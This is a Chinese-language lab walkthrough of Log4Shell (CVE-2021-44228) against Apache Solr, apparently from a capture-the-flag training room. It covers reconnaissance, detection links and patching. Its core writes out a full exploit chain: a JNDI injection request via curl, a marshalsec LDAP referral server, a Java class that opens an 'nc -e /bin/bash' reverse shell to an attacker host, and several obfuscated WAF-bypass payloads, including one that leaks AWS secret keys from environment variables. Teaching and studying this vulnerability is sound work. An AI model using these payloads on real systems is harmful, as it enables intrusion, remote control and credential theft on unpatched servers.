房间信息#

CVE-2021-44228 简介#

2021 年 12 月 9 日，全世界发现了一个名为 CVE-2021-44228 的新漏洞，影响了 Java 日志记录包 **log4j**。此漏洞的严重性得分为 10.0（最严重的名称），并在使用该版本的软件的主机上提供远程代码简单的远程代码执行 **log4j**。这次攻击被称为“Log4Shell”

今天，**log4j**版本**2.16.0** 可用并修补了此漏洞（JNDI 已完全禁用，对消息查找的支持已删除，并且新的DoS漏洞 CVE-2021-45046 不存在）。 https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

然而，这个漏洞的绝对危险是由于日志包的无处不在。数以百万计的应用程序和软件提供商使用这个包作为他们自己代码中的依赖项。虽然您可以使用 修补您自己的代码库**log4j**，但其他供应商和制造商仍需要向下游推送他们自己的安全更新。由于其巨大的攻击面的性质，许多安全研究人员将此漏洞比作Shellshock 。 我们将在未来几年看到这种脆弱性。

如需越来越多的社区支持的易受 CVE-2021-44228 攻击的软件和服务列表，请查看此 GitHub 存储库：

• https://github.com/YfryTchsGD/Log4jAttackSurface

这个房间将展示如何在 Log4j 中测试、利用和缓解此漏洞。

虽然还有许多关于 CVE-2021-44228 的其他文章、博客、资源和学习材料，但我（本练习的作者）特别偏爱这些： 

• https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
• https://log4shell.huntress.com/
• https://www.youtube.com/watch?v=7qoPDq41xhQ

侦查阶段#

这次我们使用 Rustscan：

rustscan -a 10.10.232.98 --ulimit 5000

我们可以通过结果看到开放端口：22/111/8983

我们打开浏览器访问 8983 端口 环顾 Web 应用程序，我们确认这确实使用了 Log4j，因为我们可以看到 Log4j 配置文件的位置。

我们可以看到Dsolr.log.dir参数设置为 /var/solr/logs，这是 Solr 记录到的位置。

我们可以查看一些示例日志文件，以了解 Apache Solr 究竟记录到该目录中的内容。我们有 6 个日志文件，如下所示，供我们探索。

这里对一个特定 URL 端点的重复请求:/admin/cores

“params”字段名称表示我们可以用作注入点的一些数据入口点。在这里我们可以从使用代理的检查流量中看到。

概念验证#

log4j 包通过“解析”条目向日志添加额外的逻辑，最终丰富数据——但可能会额外采取行动，甚至根据条目数据评估代码。这是 CVE-2021-44228 的要点。

为了利用这个问题，我们需要有一个恶意的 LDAP 服务器。

“Marshalsec”可用于此部分：

我们需要一个公共 IP 地址和两个端口：一个用于 LDAP 服务器，一个用于将托管恶意类的 HTTP 服务器。

让我们检查一下我们是否可以确认目标是否易受攻击。

curl 'http://vulnsolr.loc:8983/solr/admin/cores?_=$\{jndi:ldap://ATTACKER_IP:LPORT\}'

输出：

从输出中，我们可以看到 netcat 侦听器能够捕获来自易受攻击机器的入站流量。

此时，已经通过在侦听器中看到此连接来验证目标实际上是易受攻击的 **netcat**。然而，它发出了一个 LDAP 请求……所以你的 **netcat** 听众可能看到的都是不可打印的字符（奇怪的字节）。我们现在可以在此基础上进行构建，以使用真正的 LDAP 处理程序进行响应。

然而，首要任务是获取 LDAP 引用服务器。我们将使用 https://github.com/mbechler/marshalsec **marshalsec** 提供的实用程序

我们将 marshalsec 克隆到本地

进入到 marshalsec 目录执行：

mvn clean package -DskipTests

构建 marshalsec 实用程序后，我们可以启动 LDAP 引用服务器以直接连接到我们的辅助 HTTP 服务器。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

现在，是时候用 Java 创建一个包含反向 shell 了, 编译为 Exploit.java

public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } }

适当修改攻击者的 IP 地址和端口号（我们使用 9999 作为示例端口号，如前所述）。

对于这个 payload，你可以看到我们将在目标上执行一个命令，特别是 nc -e /bin/bash 来回调我们的攻击者机器。这个目标已经配置了 ncat 以便于利用，尽管我们非常欢迎您尝试其他有效载荷。

编译：

javac -Exploit.java

使用 python，我们可以运行托管恶意类的 HTTP 服务器。

python3 -m http.server 8000

监听端口：

nc -nlvp 9999

最后，我们可以请求一个恶意类来触发反向 shell 并执行命令。

curl 'http://vulnsolr.loc:8983/solr/admin/cores?_=$\{jndi:ldap://ATTACKER_IP:LDAP_PORT/Log4jshell\}'

输出：

检测#

考虑到无限数量的潜在绕过，检测利用可能更加困难。 

话虽如此，信息安全社区已经看到了令人难以置信的大量努力和支持，以开发工具、脚本和代码以更好地限制这种威胁。虽然这个房间不会详细展示每一种技术，但您仍然可以在线找到大量资源。

以下是可能有助于这两种努力的片段：

• https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes   （本地，基于 log4j JAR 文件的散列）
• https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d   （本地，基于 log4j CLASS 文件的散列）
• https://github.com/nccgroup/Cyber   ​​-Defence/tree/master/Intelligence/CVE-2021-44228（易受攻击的 JAR 和 CLASS 哈希列表）
• https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 （本地，在 PowerShell 中寻找易受攻击的 log4j 包）
• https://github.com/darkarnium/CVE-2021-44228   （本地，YARA 规则）

提醒一下，这里有大量资源：  https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

bypass#

我们展示的 JNDI 负载是执行此攻击的标准和“典型”语法。

如果您是渗透测试人员或红队成员，此语法可能会被 Web 应用程序防火墙 (WAF) 捕获或很容易检测到。如果您是蓝队队员或事件响应者，您应该积极寻找并检测该语法。

由于此攻击利用了**log4j**，因此有效负载最终可以访问包提供的所有相同的扩展、替换和模板化技巧。这意味着威胁行为者可以使用任何类型的技巧来隐藏、屏蔽或混淆有效负载。

考虑到这一点，老实说，有无数种绕过这种语法的方法。虽然我们不会深入探讨本练习的细节，但我们鼓励您在此环境中使用它们。仔细阅读它们以了解使用了哪些技巧来伪装原始语法。

有许多在线资源展示了这些绕过的一些示例，下面提供了一些：

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::- a}${::-p}://attackerendpoint.com/z}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

${${::-j}ndi:rmi://attackerendpoint.com/}

注意使用**rmi://**协议在最后一个。这也是可以与**marshalsec**效用——随意试验！

此外，在 log4j 引擎中，您可以扩展任意环境变量（如果这还不够糟糕的话）。考虑即使通过远程代码执行也可能造成的损害，但简单的 LDAP 连接和数据泄露 **${env:AWS_SECRET_ACCESS_KEY}**

对于其他技术，强烈建议您进行自己的研究。此 Reddit 线程中共享了大量信息：  https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

补丁#

在创建此练习时，Apache Solr 8.11.1 尚未发布，其中包含针对 CVE-2021-44228 的正式补丁。与许多其他软件供应商一起，该行业正在疯狂地争先恐后地修补他们的软件，并尽快将其推送给下游的最终用户。

**请理解这种狂热。**这个 log4j 漏洞可能存在的地方太多了，我们可能在很长很长一段时间内都看不到这个漏洞的终结。你、我、我们每个人都有责任提高对这一事件的认识，并让社区对积极应对负责。时机成熟时，推出可用的补丁并继续寻找此漏洞的实例。它需要一个村庄。

在适当的情况下，请确保您修补**logging-log4j** 打包到版本**2.16.0** 或更高版本（当新版本可用时）。在版本中 ， JNDI 被完全禁用，消息查找的支持被删除，新的DoS漏洞 CVE-2021-45046 不存在。在此处下载此版本：  https ://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0  2.16.0

如果您负责识别使用 log4j 的易受攻击的服务， 这里有一些主要受影响的服务/产品的列表 。